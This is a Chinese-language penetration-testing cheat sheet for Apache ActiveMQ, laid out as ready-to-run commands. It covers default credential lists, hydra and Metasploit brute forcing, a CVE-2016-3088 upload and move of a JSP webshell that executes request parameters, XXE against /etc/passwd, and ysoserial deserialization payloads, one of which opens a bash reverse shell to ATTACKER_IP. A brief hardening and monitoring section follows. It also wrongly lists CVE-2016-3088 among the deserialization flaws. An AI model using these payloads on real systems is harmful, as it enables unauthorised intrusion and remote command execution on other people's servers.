8161 - Apache ActiveMQ 服务渗透测试

服务概述

Apache ActiveMQ 是消息中间件。默认凭据、反序列化漏洞是主要安全问题。

默认端口: 8161 (HTTP), 61616 (OpenWire)
危害等级: ⭐⭐⭐⭐


信息收集

服务识别

# nmap 扫描
nmap -sV --script http-title -p 8161 TARGET

# 访问管理界面
curl http://TARGET:8161/admin/

# 输出:
# Apache ActiveMQ

版本检测

# 获取版本
curl http://TARGET:8161/admin/

# 或在页面底部查看版本号

常见攻击手法

1. 默认凭据

原理: ActiveMQ 使用默认用户名密码。

默认凭据:

admin:admin
user:user
guest:guest

利用:

# 测试默认凭据
curl -u admin:admin http://TARGET:8161/admin/

# 如果成功,可访问管理面板

2. 暴力破解

原理: 管理界面可暴力破解。

利用:

# hydra
hydra -l admin -P rockyou.txt http-get://TARGET:8161/admin/

# 或使用 metasploit
use auxiliary/scanner/http/activemq_login
set RHOSTS TARGET
set USER_FILE users.txt
set PASS_FILE passwords.txt
run

3. 文件上传 RCE (CVE-2016-3088)

原理: ActiveMQ 允许上传文件到指定目录。

检测:

# 检测漏洞
curl -X PUT http://TARGET:8161/fileserver/test.txt\
  -d "test"

# 如果返回 204,可能存在漏洞

利用:

# 1. 上传 JSP webshell
curl -X PUT http://TARGET:8161/fileserver/shell.jsp\
  -d "<%@ page import=\"java.util.*,java.io.*\"%><%Process p = Runtime.getRuntime().exec(request.getParameter(\"cmd\"));%>"

# 2. 移动文件到可执行目录
curl -X MOVE http://TARGET:8161/fileserver/shell.jsp\
  -H "Destination: http://TARGET:8161/admin/shell.jsp"

# 3. 访问 webshell
http://TARGET:8161/admin/shell.jsp?cmd=whoami

4. 反序列化 RCE

原理: ActiveMQ OpenWire 协议存在反序列化漏洞。

常见漏洞:

  • CVE-2015-5254
  • CVE-2016-3088

利用:

# 使用 metasploit
use exploit/linux/http/activemq_traversal_upload
set RHOST TARGET
set RPORT 8161
run

# 或使用 Java 反序列化 payload
java -jar ysoserial.jar CommonsCollections1 "command" | nc TARGET 61616

5. XXE 注入

原理: ActiveMQ XML 解析存在 XXE 漏洞。

利用:

# 发送恶意 XML
curl -X POST http://TARGET:8161/admin/send.jsp \
  -H "Content-Type: application/xml" \
  -d '<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<message>
  <body>&xxe;</body>
</message>'

# 如果返回 /etc/passwd 内容,存在 XXE

实战案例

案例 1: 默认凭据访问

# 1. 测试默认凭据
curl -u admin:admin http://TARGET:8161/admin/

# 2. 成功访问管理面板
# 可查看队列、主题、连接等

# 3. 发送恶意消息
# 通过管理界面

案例 2: 文件上传 RCE

# 1. 检测漏洞
curl -X PUT http://TARGET:8161/fileserver/test.txt -d "test"

# 2. 上传 webshell
curl -X PUT http://TARGET:8161/fileserver/shell.jsp \
  -d "<%@ page import=\"java.util.*\"%><%out.println(Runtime.getRuntime().exec(request.getParameter(\"cmd\")));%>"

# 3. 移动文件
curl -X MOVE http://TARGET:8161/fileserver/shell.jsp \
  -H "Destination: http://TARGET:8161/admin/shell.jsp"

# 4. 执行命令
curl http://TARGET:8161/admin/shell.jsp?cmd=whoami

案例 3: 反序列化攻击

# 1. 扫描端口
nmap -sV -p 61616 TARGET

# 2. 使用 ysoserial
java -jar ysoserial.jar CommonsCollections1 "bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'" > payload.bin

# 3. 发送 payload
nc TARGET 61616 < payload.bin

# 4. 获取反弹 shell

工具

Metasploit

# ActiveMQ 登录扫描
use auxiliary/scanner/http/activemq_login
set RHOSTS TARGET
run

# ActiveMQ 文件上传
use exploit/linux/http/activemq_traversal_upload
set RHOST TARGET
set RPORT 8161
run

ysoserial

# 生成反序列化 payload
java -jar ysoserial.jar CommonsCollections1 "command" > payload.bin

# 发送
nc TARGET 61616 < payload.bin

防御建议

服务器配置

# 1. 修改默认凭据
# conf/jetty-realm.properties
# admin:NEW_PASSWORD,admin

# 2. 禁用文件服务器
# conf/jetty.xml
# 注释掉 fileserver connector

# 3. 网络隔离
# 不暴露公网
# 防火墙限制访问

# 4. 更新版本
# 使用最新 ActiveMQ

监控检测

# 1. 日志监控
# logs/activemq.log
# 异常访问记录

# 2. 流量分析
tshark -i eth0 -Y "http" -T fields -e http.request.uri

# 3. 异常检测
# 文件上传请求
# 反序列化 payload
# 未知 IP 访问

参考链接